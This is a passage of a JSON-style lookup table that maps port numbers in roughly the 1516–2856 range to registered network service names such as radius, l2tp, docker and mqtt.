"1516": "vpad", "1517": "vpac", "1518": "vpvd", "1519": "vpvc", "1520": "atm-zip-office", "1521": "ncube-lm", "1522": "ricardo-lm", "1523": "cichild-lm", "1524": "ingreslock", "1525": "prospero-np", "1526": "pdap-np", "1527": "tlisrv", "1529": "coauthor", "1530": "rap-service", "1531": "rap-listen", "1532": "miroconnect", "1533": "virtual-places", "1534": "micromuse-lm", "1535": "ampr-info", "1536": "ampr-inter", "1537": "sdsc-lm", "1538": "3ds-lm", "1539": "intellistor-lm", "1540": "rds", "1541": "rds2", "1542": "gridgen-elmd", "1543": "simba-cs", "1544": "aspeclmd", "1545": "vistium-share", "1546": "abbaccuray", "1547": "laplink", "1548": "axon-lm", "1549": "shivasound", "1550": "3m-image-lm", "1551": "hecmtl-db", "1552": "pciarray", "1553": "sna-cs", "1554": "caci-lm", "1555": "livelan", "1556": "veritas-pbx", "1557": "arbortext-lm", "1558": "xingmpeg", "1559": "web2host", "1560": "asci-val", "1561": "facilityview", "1562": "pconnectmgr", "1563": "cadabra-lm", "1564": "pay-per-view", "1565": "winddlb", "1566": "corelvideo", "1567": "jlicelmd", "1568": "tsspmap", "1569": "ets", "1570": "orbixd", "1571": "rdb-dbs-disp", "1572": "chip-lm", "1573": "itscomm-ns", "1574": "mvel-lm", "1575": "oraclenames", "1576": "moldflow-lm", "1577": "hypercube-lm", "1578": "jacobus-lm", "1579": "ioc-sea-lm", "1580": "tn-tl-r2", "1581": "mil-2045-47001", "1582": "msims", "1583": "simbaexpress", "1584": "tn-tl-fd2", "1585": "intv", "1586": "ibm-abtact", "1587": "pra-elmd", "1588": "triquest-lm", "1589": "vqp", "1590": "gemini-lm", "1591": "ncpm-pm", "1592": "commonspace", "1593": "mainsoft-lm", "1594": "sixtrak", "1595": "radio", "1596": "radio-sm", "1597": "orbplus-iiop", "1598": "picknfs", "1599": "simbaservices", "1600": "issd", "1601": "aas", "1602": "inspect", "1603": "picodbc", "1604": "icabrowser", "1605": "slp", "1606": "slm-api", "1607": "stt", "1608": "smart-lm", "1609": "isysg-lm", "34378": "p-net-local", "34379": "p-net-remote", "1612": "netbill-trans", "1613": "netbill-keyrep", "1614": "netbill-cred", "1615": "netbill-auth", "1616": "netbill-prod", "1617": "nimrod-agent", "1618": "skytelnet", "1619": "xs-openstorage", "1620": "faxportwinport", "1621": "softdataphone", "1622": "ontime", "1623": "jaleosnd", "1624": "udp-sr-port", "1625": "svs-omagent", "1626": "shockwave", "1627": "t128-gateway", "1628": "lontalk-norm", "1629": "lontalk-urgnt", "1630": "oraclenet8cman", "1631": "visitview", "1632": "pammratc", "1633": "pammrpc", "1634": "loaprobe", "1635": "edb-server1", "1636": "isdc", "1637": "islc", "1638": "ismc", "1639": "cert-initiator", "1640": "cert-responder", "1641": "invision", "1642": "isis-am", "1643": "isis-ambc", "1644": "saiseh", "1645": "sightline", "1646": "sa-msg-port", "1647": "rsap", "1648": "concurrent-lm", "1649": "kermit", "1650": "nkd", "1651": "shiva-confsrvr", "1652": "xnmp", "1653": "alphatech-lm", "1654": "stargatealerts", "1655": "dec-mbadmin", "1656": "dec-mbadmin-h", "1657": "fujitsu-mmpdc", "1658": "sixnetudr", "1659": "sg-lm", "1660": "skip-mc-gikreq", "1661": "netview-aix-1", "1662": "netview-aix-2", "1663": "netview-aix-3", "1664": "netview-aix-4", "1665": "netview-aix-5", "1666": "netview-aix-6", "1667": "netview-aix-7", "1668": "netview-aix-8", "1669": "netview-aix-9", "1670": "netview-aix-10", "1671": "netview-aix-11", "1672": "netview-aix-12", "1673": "proshare-mc-1", "1674": "proshare-mc-2", "1675": "pdp", "1676": "netcomm2", "1677": "groupwise", "1678": "prolink", "1679": "darcorp-lm", "1680": "microcom-sbp", "1681": "sd-elmd", "1682": "lanyon-lantern", "1683": "ncpm-hip", "1684": "snaresecure", "1685": "n2nremote", "1686": "cvmon", "16665": "axon-tunnel", "1688": "nsjtp-data", "1689": "firefox", "1690": "ng-umds", "1691": "empire-empuma", "1692": "sstsys-lm", "1693": "rrirtr", "1694": "rrimwm", "1695": "rrilwm", "1696": "rrifmm", "1697": "rrisat", "1698": "rsvp-encap-1", "1699": "rsvp-encap-2", "1700": "mps-raft", "1701": "l2tp", "1702": "deskshare", "1703": "hb-engine", "1704": "bcs-broker", "1705": "slingshot", "1706": "jetform", "1707": "vdmplay", "1708": "gat-lmd", "1709": "centra", "1710": "impera", "1711": "pptconference", "1712": "registrar", "1713": "conferencetalk", "1714": "sesi-lm", "1715": "houdini-lm", "1716": "xmsg", "1717": "fj-hdnet", "1718": "h323gatedisc", "1719": "h323gatestat", "18104": "radpdf", "1721": "caicci", "1722": "hks-lm", "1723": "pptp", "1724": "csbphonemaster", "1725": "iden-ralp", "1726": "iberiagames", "1727": "winddx", "1728": "telindus", "1729": "citynl", "1730": "roketz", "1731": "msiccp", "1732": "proxim", "1733": "siipat", "1734": "cambertx-lm", "1735": "privatechat", "1736": "street-stream", "1737": "ultimad", "1738": "gamegen1", "1739": "webaccess", "1740": "encore", "1741": "cisco-net-mgmt", "1742": "3Com-nsd", "1743": "cinegrfx-lm", "1744": "ncpm-ft", "1745": "remote-winsock", "1746": "ftrapid-1", "1747": "ftrapid-2", "1748": "oracle-em1", "1749": "aspen-services", "1750": "sslp", "1751": "swiftnet", "18136": "racf", "1753": "predatar-comms", "1754": "oracle-em2", "1755": "ms-streaming", "1756": "capfast-lmd", "1757": "cnhrp", "1758": "tftp-mcast", "1759": "spss-lm", "1760": "www-ldap-gw", "1761": "cft-0", "1762": "cft-1", "1763": "cft-2", "1764": "cft-3", "1765": "cft-4", "1766": "cft-5", "1767": "cft-6", "1768": "cft-7", "1769": "bmc-net-adm", "1770": "bmc-net-svc", "1771": "vaultbase", "1772": "essweb-gw", "1773": "kmscontrol", "1774": "global-dtserv", "1775": "vdab", "1776": "femis", "1777": "powerguardian", "1778": "prodigy-intrnet", "1779": "pharmasoft", "1780": "dpkeyserv", "1781": "answersoft-lm", "1782": "hp-hcip", "1784": "finle-lm", "1785": "windlm", "1786": "funk-logger", "1787": "funk-license", "1788": "psmond", "1789": "hello", "1790": "nmsp", "1791": "ea1", "1792": "ibm-dt-2", "1793": "rsc-robot", "1794": "cera-bcm", "1795": "dpi-proxy", "1796": "vocaltec-admin", "18181": "opsec-cvp", "18182": "opsec-ufp", "18183": "opsec-sam", "18184": "opsec-lea", "1801": "msmq", "18186": "ohsc", "18187": "opsec-ela", "1804": "enl", "1805": "enl-name", "1806": "musiconline", "1807": "fhsp", "1808": "oracle-vp2", "1809": "oracle-vp1", "1810": "jerand-lm", "1811": "scientia-sdb", "1812": "radius", "1813": "radius-acct", "1814": "tdp-suite", "1815": "mmpft", "1816": "harp", "1817": "rkb-oscs", "1818": "etftp", "1819": "plato-lm", "1820": "mcagent", "1821": "donnyworld", "1822": "es-elmd", "1823": "unisys-lm", "1824": "metrics-pas", "1825": "direcpc-video", "1826": "ardt", "1827": "asi", "1828": "itm-mcell-u", "1829": "optika-emedia", "1830": "net8-cman", "1831": "myrtle", "1832": "tht-treasure", "1833": "udpradio", "1834": "ardusuni", "1835": "ardusmul", "1836": "ste-smsc", "1837": "csoft1", "1838": "talnet", "1839": "netopia-vo1", "1840": "netopia-vo2", "1841": "netopia-vo3", "1842": "netopia-vo4", "1843": "netopia-vo5", "1844": "direcpc-dll", "1845": "altalink", "1846": "tunstall-pnc", "1847": "slp-notify", "1848": "fjdocdist", "1849": "alpha-sms", "1850": "gsi", "1851": "ctcd", "1852": "virtual-time", "1853": "vids-avtp", "1854": "buddy-draw", "1855": "fiorano-rtrsvc", "1856": "fiorano-msgsvc", "1857": "datacaptor", "1858": "privateark", "1859": "gammafetchsvr", "1860": "sunscalar-svc", "1861": "lecroy-vicp", "1862": "mysql-cm-agent", "1863": "msnp", "1864": "paradym-31port", "1865": "entp", "1866": "swrmi", "1867": "udrive", "1868": "viziblebrowser", "1869": "transact", "1870": "sunscalar-dns", "1871": "canocentral0", "1872": "canocentral1", "1873": "fjmpjps", "1874": "fjswapsnp", "1875": "westell-stats", "1876": "ewcappsrv", "1877": "hp-webqosdb", "1878": "drmsmc", "1879": "nettgain-nms", "1880": "vsat-control", "1881": "ibm-mqseries2", "1882": "ecsqdmn", "1883": "mqtt", "1884": "idmaps", "1885": "vrtstrapserver", "1886": "leoip", "1887": "filex-lport", "1888": "ncconfig", "1889": "unify-adapter", "1890": "wilkenlistener", "1891": "childkey-notif", "1892": "childkey-ctrl", "1893": "elad", "1894": "o2server-port", "1896": "b-novative-ls", "1897": "metaagent", "1898": "cymtec-port", "1899": "mc2studios", "1900": "ssdp", "1901": "fjicl-tep-a", "1902": "fjicl-tep-b", "1903": "linkname", "1904": "fjicl-tep-c", "1905": "sugp", "1906": "tpmd", "1907": "intrastar", "1908": "dawn", "1909": "global-wlink", "1910": "ultrabac", "1911": "mtp", "1912": "rhp-iibp", "1913": "armadp", "1914": "elm-momentum", "1915": "facelink", "1916": "persona", "1917": "noagent", "1918": "can-nds", "1919": "can-dch", "1920": "can-ferret", "1921": "noadmin", "1922": "tapestry", "1923": "spice", "1924": "xiip", "1925": "discovery-port", "1926": "egs", "1927": "videte-cipc", "1928": "emsd-port", "1929": "bandwiz-system", "1930": "driveappserver", "1931": "amdsched", "1932": "ctt-broker", "1933": "xmapi", "1934": "xaapi", "1935": "macromedia-fcs", "1936": "jetcmeserver", "1937": "jwserver", "1938": "jwclient", "1939": "jvserver", "1940": "jvclient", "1941": "dic-aida", "1942": "res", "1943": "beeyond-media", "1944": "close-combat", "1945": "dialogic-elmd", "1946": "tekpls", "1947": "sentinelsrm", "1948": "eye2eye", "1949": "ismaeasdaqlive", "1950": "ismaeasdaqtest", "1951": "bcs-lmserver", "1952": "mpnjsc", "1953": "rapidbase", "1954": "abr-api", "1955": "abr-secure", "1956": "vrtl-vmf-ds", "1957": "unix-status", "1958": "dxadmind", "1959": "simp-all", "1960": "nasmanager", "1961": "bts-appserver", "1962": "biap-mp", "1963": "webmachine", "1964": "solid-e-engine", "1965": "tivoli-npm", "1966": "slush", "1967": "sns-quote", "1968": "lipsinc", "1969": "lipsinc1", "1970": "netop-rc", "1971": "netop-school", "1972": "intersys-cache", "1973": "dlsrap", "1974": "drp", "1975": "tcoflashagent", "1976": "tcoregagent", "1977": "tcoaddressbook", "1978": "unisql", "1979": "unisql-java", "1980": "pearldoc-xact", "1981": "p2pq", "1982": "estamp", "1983": "lhtp", "1984": "bb", "1985": "hsrp", "1986": "licensedaemon", "1987": "tr-rsrb-p1", "1988": "tr-rsrb-p2", "1989": "tr-rsrb-p3", "1990": "stun-p1", "1991": "stun-p2", "1992": "stun-p3", "1993": "snmp-tcp-port", "1994": "stun-port", "1995": "perf-port", "1996": "tr-rsrb-port", "1997": "gdp-port", "1998": "x25-svc-port", "1999": "tcp-id-port", "2000": "cisco-sccp", "2001": "wizard", "2002": "globe", "2003": "brutus", "2004": "mailbox", "2005": "oracle", "2006": "raid-cd", "2007": "raid-am", "2008": "terminaldb", "2009": "whosockami", "2010": "search", "2011": "servserv", "2012": "ttyinfo", "2013": "raid-cd", "2014": "troff", "2015": "raid-cs", "2016": "bootserver", "2017": "cypress-stat", "2018": "terminaldb", "2019": "whosockami", "2020": "xinupageserver", "2021": "xinuexpansion1", "2022": "xinuexpansion2", "2023": "xinuexpansion3", "2024": "xinuexpansion4", "2025": "xribs", "2026": "scrabble", "2027": "shadowserver", "2028": "submitserver", "2029": "hsrpv6", "2030": "device2", "2031": "mobrien-chat", "2032": "blackboard", "2033": "glogger", "2034": "scoremgr", "2035": "imsldoc", "2036": "e-dpnet", "2037": "applus", "2038": "objectmanager", "2039": "prizma", "2040": "lam", "2041": "interbase", "2042": "isis", "2043": "isis-bcast", "2044": "rimsl", "2045": "cdfunc", "2046": "sdfunc", "2047": "dls", "2048": "dls-monitor", "2049": "shilp", "2050": "av-emb-config", "2051": "epnsdp", "2052": "clearvisn", "2053": "lot105-ds-upd", "2054": "weblogin", "2055": "iop", "2056": "omnisky", "2057": "rich-cp", "2058": "newwavesearch", "2059": "bmc-messaging", "2060": "teleniumdaemon", "2061": "netmount", "2062": "icg-swp", "2063": "icg-bridge", "2064": "icg-iprelay", "2065": "dlsrpn", "2066": "aura", "2067": "dlswpn", "2068": "avauthsrvprtcl", "2069": "event-port", "2070": "ah-esp-encap", "2071": "acp-port", "2072": "msync", "2073": "gxs-data-port", "2074": "vrtl-vmf-sa", "2075": "newlixengine", "2076": "newlixconfig", "2077": "tsrmagt", "2078": "tpcsrvr", "2079": "idware-router", "2080": "autodesk-nlm", "2081": "kme-trap-port", "2082": "infowave", "2083": "radsec", "2084": "sunclustergeo", "2085": "ada-cip", "2086": "gnunet", "2087": "eli", "2088": "ip-blf", "2089": "sep", "2090": "lrp", "2091": "prp", "2092": "descent3", "2093": "nbx-cc", "2094": "nbx-au", "2095": "nbx-ser", "2096": "nbx-dir", "2097": "jetformpreview", "2098": "dialog-port", "2099": "h2250-annex-g", "2100": "amiganetfs", "2101": "rtcm-sc104", "2102": "zephyr-srv", "2103": "zephyr-clt", "2104": "zephyr-hm", "2105": "minipay", "2106": "mzap", "2107": "bintec-admin", "2108": "comcam", "2109": "ergolight", "2110": "umsp", "2111": "dsatp", "2112": "idonix-metanet", "2113": "hsl-storm", "2114": "newheights", "2115": "kdm", "2116": "ccowcmr", "2117": "mentaclient", "2118": "mentaserver", "2119": "gsigatekeeper", "2120": "qencp", "2121": "scientia-ssdb", "2122": "caupc-remote", "2123": "gtp-control", "2124": "elatelink", "2125": "lockstep", "2126": "pktcable-cops", "2127": "index-pc-wb", "2128": "net-steward", "2129": "cs-live", "2130": "xds", "2131": "avantageb2b", "2132": "solera-epmap", "2133": "zymed-zpp", "2134": "avenue", "2135": "gris", "2136": "appworxsrv", "2137": "connect", "2138": "unbind-cluster", "2139": "ias-auth", "2140": "ias-reg", "2141": "ias-admind", "2142": "tdmoip", "2143": "lv-jc", "2144": "lv-ffx", "2145": "lv-pici", "2146": "lv-not", "2147": "lv-auth", "2148": "veritas-ucl", "2149": "acptsys", "2150": "dynamic3d", "2151": "docent", "2152": "gtp-user", "2153": "ctlptc", "2154": "stdptc", "2155": "brdptc", "2156": "trp", "2157": "xnds", "2158": "touchnetplus", "2159": "gdbremote", "2160": "apc-2160", "2161": "apc-2161", "2162": "navisphere", "2163": "navisphere-sec", "2164": "ddns-v3", "2165": "x-bone-api", "2166": "iwserver", "2167": "raw-serial", "2168": "easy-soft-mux", "2169": "brain", "2170": "eyetv", "2171": "msfw-storage", "2172": "msfw-s-storage", "2173": "msfw-replica", "2174": "msfw-array", "2175": "airsync", "2176": "rapi", "2177": "qwave", "2178": "bitspeer", "2179": "vmrdp", "2180": "mc-gt-srv", "2181": "eforward", "2182": "cgn-stat", "2183": "cgn-config", "2184": "nvd", "2185": "onbase-dds", "2186": "gtaua", "2187": "ssmd", "2188": "radware-rpm", "2189": "radware-rpm-s", "2190": "tivoconnect", "2191": "tvbus", "2192": "asdis", "2193": "drwcs", "34962": "profinet-rt", "34963": "profinet-rtm", "34964": "profinet-cm", "2197": "mnp-exchange", "2198": "onehome-remote", "2199": "onehome-help", "2200": "ici", "2201": "ats", "2202": "imtc-map", "2203": "b2-runtime", "2204": "b2-license", "2205": "jps", "2206": "hpocbus", "2207": "hpssd", "2208": "hpiod", "2209": "rimf-ps", "2210": "noaaport", "2211": "emwin", "2212": "leecoposserver", "2213": "kali", "2214": "rpi", "2215": "ipcore", "2216": "vtu-comms", "2217": "gotodevice", "2218": "bounzza", "2219": "netiq-ncap", "2220": "netiq", "2221": "ethernet-ip-s", "2222": "EtherNet/IP-1", "2223": "rockwell-csp2", "2224": "efi-mg", "2225": "rcip-itu", "2226": "di-drm", "2227": "di-msg", "2228": "ehome-ms", "2229": "datalens", "2230": "queueadm", "2231": "wimaxasncp", "2232": "ivs-video", "2233": "infocrypt", "2234": "directplay", "2235": "sercomm-wlink", "2236": "nani", "2237": "optech-port1-lm", "2238": "aviva-sna", "2239": "imagequery", "2240": "recipe", "2241": "ivsd", "2242": "foliocorp", "2243": "magicom", "2244": "nmsserver", "2245": "hao", "2246": "pc-mta-addrmap", "2247": "antidotemgrsvr", "2248": "ums", "2249": "rfmp", "18634": "rds-ib", "18635": "rds-ip", "2252": "njenet-ssl", "2253": "dtv-chan-req", "2254": "seispoc", "2255": "vrtp", "2256": "pcc-mfp", "2257": "simple-tx-rx", "2258": "rcts", "2260": "apc-2260", "2261": "comotionmaster", "2262": "comotionback", "2263": "ecwcfg", "2264": "apx500api-1", "2265": "apx500api-2", "2266": "mfserver", "2267": "ontobroker", "2268": "amt", "2269": "mikey", "2270": "starschool", "2271": "mmcals", "2272": "mmcal", "2273": "mysql-im", "2274": "pcttunnell", "2275": "ibridge-data", "2276": "ibridge-mgmt", "2277": "bluectrlproxy", "2278": "s3db", "2279": "xmquery", "2280": "lnvpoller", "2281": "lnvconsole", "2282": "lnvalarm", "2283": "lnvstatus", "2284": "lnvmaps", "2285": "lnvmailmon", "2286": "nas-metering", "2287": "dna", "2288": "netml", "2289": "dict-lookup", "2290": "sonus-logging", "2291": "eapsp", "2292": "mib-streaming", "2293": "npdbgmngr", "2294": "konshus-lm", "2295": "advant-lm", "2296": "theta-lm", "2297": "d2k-datamover1", "2298": "d2k-datamover2", "2299": "pc-telecommute", "2300": "cvmmon", "2301": "cpq-wbem", "2302": "binderysupport", "2303": "proxy-gateway", "2304": "attachmate-uts", "2305": "mt-scaleserver", "2306": "tappi-boxnet", "2307": "pehelp", "2308": "sdhelp", "2309": "sdserver", "2310": "sdclient", "2311": "messageservice", "2312": "wanscaler", "2313": "iapp", "2314": "cr-websystems", "2315": "precise-sft", "2316": "sent-lm", "2317": "attachmate-g32", "2318": "cadencecontrol", "2319": "infolibria", "2320": "siebel-ns", "2321": "rdlap", "2322": "ofsd", "2323": "3d-nfsd", "2324": "cosmocall", "2325": "ansysli", "2326": "idcp", "2327": "xingcsm", "2328": "netrix-sftm", "2329": "nvd", "2330": "tscchat", "2331": "agentview", "2332": "rcc-host", "2333": "snapp", "2334": "ace-client", "2335": "ace-proxy", "2336": "appleugcontrol", "2337": "ideesrv", "2338": "norton-lambert", "2339": "3com-webview", "2340": "wrs-registry", "2341": "xiostatus", "2342": "manage-exec", "2343": "nati-logos", "2344": "fcmsys", "2345": "dbm", "2346": "redstorm-join", "2347": "redstorm-find", "2348": "redstorm-info", "2349": "redstorm-diag", "2350": "psbserver", "2351": "psrserver", "2352": "pslserver", "2353": "pspserver", "2354": "psprserver", "2355": "psdbserver", "2356": "gxtelmd", "2357": "unihub-server", "2358": "futrix", "2359": "flukeserver", "2360": "nexstorindltd", "2361": "tl1", "2362": "digiman", "2363": "mediacntrlnfsd", "2364": "oi-2000", "2365": "dbref", "2366": "qip-login", "2367": "service-ctrl", "2368": "opentable", "8199": "vvr-data", "2370": "l3-hbmon", "2371": "hp-rda", "2372": "lanmessenger", "2373": "remographlm", "2374": "hydra", "2375": "docker", "2376": "docker-s", "2379": "etcd-client", "2380": "etcd-server", "2381": "compaq-https", "2382": "ms-olap3", "2383": "ms-olap4", "2384": "sd-request", "2385": "sd-data", "2386": "virtualtape", "2387": "vsamredirector", "2388": "mynahautostart", "2389": "ovsessionmgr", "2390": "rsmtp", "2391": "3com-net-mgmt", "2392": "tacticalauth", "2393": "ms-olap1", "2394": "ms-olap2", "2395": "lan900-remote", "2396": "wusage", "2397": "ncl", "2398": "orbiter", "2399": "fmpro-fdal", "2400": "opequus-server", "2401": "cvspserver", "2402": "taskmaster2000", "2403": "taskmaster2000", "2404": "iec-104", "2405": "trc-netpoll", "2406": "jediserver", "2407": "orion", "2408": "railgun-webaccl", "2409": "sns-protocol", "2410": "vrts-registry", "2411": "netwave-ap-mgmt", "2412": "cdn", "2413": "orion-rmi-reg", "2414": "beeyond", "2415": "codima-rtp", "2416": "rmtserver", "2417": "composit-server", "2418": "cas", "2419": "attachmate-s2s", "2420": "dslremote-mgmt", "2421": "g-talk", "2422": "crmsbits", "2423": "rnrp", "2424": "kofax-svr", "2425": "fjitsuappmgr", "2426": "vcmp", "2427": "mgcp-gateway", "2428": "ott", "2429": "ft-role", "2430": "venus", "405": "ncld", "2432": "codasrv", "2433": "codasrv-se", "2434": "pxc-epmap", "2435": "optilogic", "2436": "topx", "2437": "unicontrol", "2438": "msp", "2439": "sybasedbsynch", "2440": "spearway", "2441": "pvsw-inet", "2442": "netangel", "2443": "powerclientcsf", "2444": "btpp2sectrans", "2445": "dtn1", "2446": "bues-service", "2447": "ovwdb", "2448": "hpppssvr", "2449": "ratl", "2450": "netadmin", "2451": "netchat", "2452": "snifferclient", "2453": "madge-ltd", "2454": "indx-dds", "2455": "wago-io-system", "2456": "altav-remmgt", "2457": "rapido-ip", "2458": "griffin", "2459": "community", "2460": "ms-theater", "2461": "qadmifoper", "2462": "qadmifevent", "2463": "lsi-raid-mgmt", "2464": "direcpc-si", "2465": "lbm", "2466": "lbf", "2467": "high-criteria", "2468": "qip-msgd", "2469": "mti-tcs-comm", "2470": "taskman-port", "2471": "seaodbc", "2472": "c3", "2473": "aker-cdp", "2474": "vitalanalysis", "2475": "ace-server", "2476": "ace-svr-prop", "2477": "ssm-cvs", "2478": "ssm-cssps", "2479": "ssm-els", "2480": "powerexchange", "2481": "giop", "2482": "giop-ssl", "2483": "ttc", "2484": "ttc-ssl", "2485": "netobjects1", "2486": "netobjects2", "2487": "pns", "2488": "moy-corp", "2489": "tsilb", "2490": "qip-qdhcp", "2491": "conclave-cpp", "2492": "groove", "2493": "talarian-mqs", "2494": "bmc-ar", "2495": "fast-rem-serv", "2496": "dirgis", "18881": "infotos", "2498": "odn-castraq", "2499": "unicontrol", "2500": "rtsserv", "2501": "rtsclient", "2502": "kentrox-prot", "2503": "nms-dpnss", "18888": "apc-necmp", "2505": "ppcontrol", "2506": "jbroker", "2507": "spock", "2508": "jdatastore", "2509": "fjmpss", "2510": "fjappmgrbulk", "2511": "metastorm", "2512": "citrixima", "2513": "citrixadmin", "2514": "facsys-ntp", "2515": "facsys-router", "2516": "maincontrol", "2517": "call-sig-trans", "2518": "willy", "2519": "globmsgsvc", "2520": "pvsw", "2521": "adaptecmgr", "2522": "windb", "2523": "qke-llc-v3", "2524": "optiwave-lm", "2525": "ms-v-worlds", "2526": "ema-sent-lm", "2527": "iqserver", "2528": "ncr-ccl", "2529": "utsftp", "2530": "vrcommerce", "2531": "ito-e-gui", "2532": "ovtopmd", "2533": "snifferserver", "2534": "combox-web-acc", "2535": "madcap", "2536": "btpp2audctr1", "2537": "upgrade", "2538": "vnwk-prapi", "2539": "vsiadmin", "2540": "lonworks", "2541": "lonworks2", "2542": "udrawgraph", "2543": "reftek", "2544": "novell-zen", "2545": "sis-emt", "2546": "vytalvaultbrtp", "2547": "vytalvaultvsmp", "2548": "vytalvaultpipe", "2549": "ipass", "2550": "ads", "2551": "isg-uda-server", "2552": "call-logging", "2553": "efidiningport", "2554": "vcnet-link-v10", "2555": "compaq-wcp", "2556": "nicetec-nmsvc", "2557": "nicetec-mgmt", "2558": "pclemultimedia", "2559": "lstp", "2560": "labrat", "2561": "mosaixcc", "2562": "delibo", "2563": "cti-redwood", "2564": "hp-3000-telnet", "2565": "coord-svr", "2566": "pcs-pcw", "2567": "clp", "2568": "spamtrap", "2569": "sonuscallsig", "2570": "hs-port", "2571": "cecsvc", "2572": "ibp", "2573": "trustestablish", "2574": "blockade-bpsp", "2575": "hl7", "2576": "tclprodebugger", "2577": "scipticslsrvr", "2578": "rvs-isdn-dcp", "2579": "mpfoncl", "2580": "tributary", "2581": "argis-te", "2582": "argis-ds", "2583": "mon", "2584": "cyaserv", "2585": "netx-server", "2586": "netx-agent", "2587": "masc", "2588": "privilege", "2589": "quartus-tcl", "2590": "idotdist", "2591": "maytagshuffle", "2592": "netrek", "2593": "mns-mail", "2594": "dts", "2595": "worldfusion1", "2596": "worldfusion2", "2597": "homesteadglory", "2598": "citriximaclient", "2599": "snapd", "2600": "hpstgmgr", "2601": "discp-client", "2602": "discp-server", "2603": "servicemeter", "2604": "nsc-ccs", "2605": "nsc-posa", "2606": "netmon", "2607": "connection", "2608": "wag-service", "2609": "system-monitor", "2610": "versa-tek", "2611": "lionhead", "2612": "qpasa-agent", "2613": "smntubootstrap", "2614": "neveroffline", "2615": "firepower", "19000": "igrid", "2617": "cmadmin", "2618": "priority-e-com", "2619": "bruce", "2620": "lpsrecommender", "2621": "miles-apart", "2622": "metricadbc", "19007": "scintilla", "2624": "aria", "2625": "blwnkl-port", "2626": "gbjd816", "2627": "moshebeeri", "2628": "dict", "2629": "sitaraserver", "2630": "sitaramgmt", "2631": "sitaradir", "2632": "irdg-post", "2633": "interintelli", "2634": "pk-electronics", "2635": "backburner", "19020": "j-link", "2637": "imdocsvc", "2638": "sybaseanywhere", "2639": "aminet", "2640": "ami-control", "2641": "hdl-srv", "2642": "tragic", "2643": "gte-samp", "2644": "travsoft-ipx-t", "2645": "novell-ipx-cmd", "2646": "and-lm", "2647": "syncserver", "2648": "upsnotifyprot", "2649": "vpsipport", "2650": "eristwoguns", "2651": "ebinsite", "2652": "interpathpanel", "2653": "sonus", "2654": "corel-vncadmin", "2655": "unglue", "2656": "kana", "2657": "sns-dispatcher", "2658": "sns-admin", "2659": "sns-query", "2660": "gcmonitor", "2661": "olhost", "2662": "bintec-capi", "2663": "bintec-tapi", "2664": "patrol-mq-gm", "2665": "patrol-mq-nm", "2666": "extensis", "2667": "alarm-clock-s", "2668": "alarm-clock-c", "2669": "toad", "2670": "tve-announce", "2671": "newlixreg", "2672": "nhserver", "2673": "firstcall42", "2674": "ewnn", "2675": "ttc-etap", "2676": "simslink", "2677": "gadgetgate1way", "2678": "gadgetgate2way", "2679": "syncserverssl", "2680": "pxc-sapxom", "2681": "mpnjsomb", "2683": "ncdloadbalance", "2684": "mpnjsosv", "2685": "mpnjsocl", "2686": "mpnjsomg", "2687": "pq-lic-mgmt", "2688": "md-cg-http", "2689": "fastlynx", "2690": "hp-nnm-data", "2691": "itinternet", "2692": "admins-lms", "2694": "pwrsevent", "2695": "vspread", "2696": "unifyadmin", "2697": "oce-snmp-trap", "2698": "mck-ivpip", "2699": "csoft-plusclnt", "2700": "tqdata", "2701": "sms-rcinfo", "2702": "sms-xfer", "2703": "sms-chat", "2704": "sms-remctrl", "2705": "sds-admin", "2706": "ncdmirroring", "2707": "emcsymapiport", "2708": "banyan-net", "2709": "supermon", "2710": "sso-service", "2711": "sso-control", "2712": "aocp", "2713": "raventbs", "2714": "raventdm", "2715": "hpstgmgr2", "2716": "inova-ip-disco", "2717": "pn-requester", "2718": "pn-requester2", "2719": "scan-change", "2720": "wkars", "2721": "smart-diagnose", "2722": "proactivesrvr", "2723": "watchdog-nt", "2724": "qotps", "2725": "msolap-ptp2", "2726": "tams", "2727": "mgcp-callagent", "2728": "sqdr", "2729": "tcim-control", "2730": "nec-raidplus", "2731": "fyre-messanger", "2732": "g5m", "2733": "signet-ctf", "2734": "ccs-software", "2735": "netiq-mc", "2736": "radwiz-nms-srv", "2737": "srp-feedback", "2738": "ndl-tcp-ois-gw", "2739": "tn-timing", "2740": "alarm", "2741": "tsb", "2742": "tsb2", "2743": "murx", "2744": "honyaku", "2745": "urbisnet", "2746": "cpudpencap", "2747": "fjippol-swrly", "2748": "fjippol-polsvr", "2749": "fjippol-cnsl", "2750": "fjippol-port1", "2751": "fjippol-port2", "2752": "rsisysaccess", "2753": "de-spot", "2754": "apollo-cc", "2755": "expresspay", "2756": "simplement-tie", "2757": "cnrp", "2758": "apollo-status", "2759": "apollo-gms", "2760": "sabams", "2761": "dicom-iscl", "2762": "dicom-tls", "2763": "desktop-dna", "2764": "data-insurance", "2765": "qip-audup", "2766": "compaq-scp", "2767": "uadtc", "2768": "uacs", "2769": "exce", "2770": "veronica", "2771": "vergencecm", "2772": "auris", "2773": "rbakcup1", "2774": "rbakcup2", "2775": "smpp", "2776": "ridgeway1", "2777": "ridgeway2", "2778": "gwen-sonya", "2779": "lbc-sync", "2780": "lbc-control", "2781": "whosells", "2782": "everydayrc", "2783": "aises", "2784": "www-dev", "2785": "aic-np", "2786": "aic-oncrpc", "2787": "piccolo", "2788": "fryeserv", "2789": "media-agent", "2790": "plgproxy", "2791": "mtport-regist", "2792": "f5-globalsite", "2793": "initlsmsad", "2795": "livestats", "2796": "ac-tech", "2797": "esp-encap", "2798": "tmesis-upshot", "2799": "icon-discover", "2800": "acc-raid", "2801": "igcp", "2802": "veritas-udp1", "2803": "btprjctrl", "2804": "dvr-esm", "2805": "wta-wsp-s", "2806": "cspuni", "19191": "opsec-uaa", "2808": "j-lan-p", "2809": "corbaloc", "19194": "ua-secureagent", "2811": "gsiftp", "2812": "atmtcp", "2813": "llm-pass", "2814": "llm-csv", "2815": "lbc-measure", "2816": "lbc-watchdog", "2817": "nmsigport", "2818": "rmlnk", "2819": "fc-faultnotify", "2820": "univision", "2821": "vrts-at-port", "2822": "ka0wuc", "2823": "cqg-netlan", "2824": "cqg-netlan-1", "2826": "slc-systemlog", "2827": "slc-ctrlrloops", "2828": "itm-lm", "2829": "silkp1", "2830": "silkp2", "2831": "silkp3", "2832": "silkp4", "2833": "glishd", "2834": "evtp", "2835": "evtp-data", "2836": "catalyst", "2837": "repliweb", "2838": "starbot", "2839": "nmsigport", "2840": "l3-exprt", "2841": "l3-ranger", "2842": "l3-hawk", "2843": "pdnet", "2844": "bpcp-poll", "2845": "bpcp-trap", "2846": "aimpp-hello", "2847": "aimpp-port-req", "2848": "amt-blc-port", "2849": "fxp", "2850": "metaconsole", "2851": "webemshttp", "2852": "bears-01", "2853": "ispipes", "2854": "infomover", "2855": "msrp", "2856": 